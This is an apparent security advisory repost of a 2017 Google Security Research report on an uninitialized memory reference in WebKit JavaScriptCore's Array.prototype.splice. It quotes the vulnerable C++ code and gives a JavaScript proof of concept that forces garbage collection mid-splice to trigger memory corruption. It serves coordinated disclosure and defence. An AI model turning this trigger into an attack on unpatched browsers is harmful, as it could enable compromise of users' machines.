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WebKit JSC arrayProtoFuncSplice Uninitiailzed Memory Reference

WebKit JSC arrayProtoFuncSplice Uninitiailzed Memory Reference
Posted Jul 25, 2017
Authored by Google Security Research, lokihardt

WebKit JSC suffers from an uninitialized memory reference in arrayProtoFuncSplice.

tags | exploit
MD5 | 61302137db1706d8e9bb703e1fa8e6bb

WebKit JSC arrayProtoFuncSplice Uninitiailzed Memory Reference

Change Mirror Download
WebKit: JSC: uninitialized memory reference in arrayProtoFuncSplice 




Here's a snippet of arrayProtoFuncSplice.

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
{
...

result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);
if (UNLIKELY(!result)) {
throwOutOfMemoryError(exec, scope);
return encodedJSValue();
}

// The result can have an ArrayStorage indexing type if we're having a bad time.
bool isArrayStorage = hasAnyArrayStorage(result->indexingType());
bool success = false;
if (UNLIKELY(isArrayStorage)) {
static const bool needToFillHolesManually = true;
success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount);
} else {
ASSERT(hasUndecided(result->indexingType()));
static const bool needToFillHolesManually = false;
success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount);
}
if (UNLIKELY(!success)) {
ASSERT(scope.exception());
return encodedJSValue();
}
...
}

|result| has uninitalized values. If a GC is triggered before those values get initalized, the garbage collector will refer the uninitialized values.

PoC:
function gc() {
for (let i = 0; i < 4; i++)
new ArrayBuffer(0x1000000);
}

Array.prototype.__defineGetter__(1000, () => 0);

for (let i = 0; i < 0x1000; i++)
new Array(0x10).fill([{}, {}, {}, {}]);

for (let i = 0; i < 0x1000; i++) {
let x = {length: 0x10};
x.__defineGetter__(0, () => gc());
Array.prototype.splice.call(x, 0);
}



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

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